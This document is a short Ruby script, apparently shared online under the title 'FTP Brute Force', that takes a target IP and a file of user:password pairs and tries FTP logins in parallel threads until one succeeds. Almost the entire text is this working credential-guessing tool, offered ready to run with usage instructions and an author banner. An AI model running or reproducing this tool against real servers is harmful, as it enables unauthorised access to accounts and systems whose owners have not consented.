FTP Brute Force

#!/usr/bin/env ruby
require 'net/ftp'
require 'thread'
############>>>>HEADER<<<<###############
puts "#{'#'*59}"
puts "#{'#'*1} *** ZepeK ***  #{' '*12}# #{' '*27}#"
puts "#{'#'*1} [email protected]     # # >>>--- FTP Bruter ---<<< #"
puts "#{'#'*1} skype: live:zepek_al # #{' '*27}#"
puts "#{'#'*59}"
############>>>>HEADER<<<<###############

############>>>> Usage<<<<###############
if (ARGV.size < 2)
    puts "Usage: ./ftp_bruter.rb [IP ADDR] [Password list]"
    puts "ex: ./ftp_bruter.rb 127.0.0.1 passwords.lst"
    exit
end
############>>>> Usage<<<<###############

host    = ARGV[0]
pwdlist = ARGV[1]
threads = []
i       = 0

puts " \n>>FTP_bruter running...\n\n"
File.open(pwdlist, "r").each_line do |line|
user, pass = line.split(":")
    if i < 10
    threads << Thread.new{
    begin
        Net::FTP.new(host).login(user, pass)
        puts "Login   : #{user} "
        puts "Password: #{pass} \n"
        puts ">>Exiting..."
        exit
    rescue
        Net::FTPPermError
    end#begin
    }
    i += 1
    else
        sleep(0.05) and threads.delete_if {|x| not x.alive?} while not threads.empty?
            i = 0
    end#if
    threads.each {|thread| thread.join}
end#do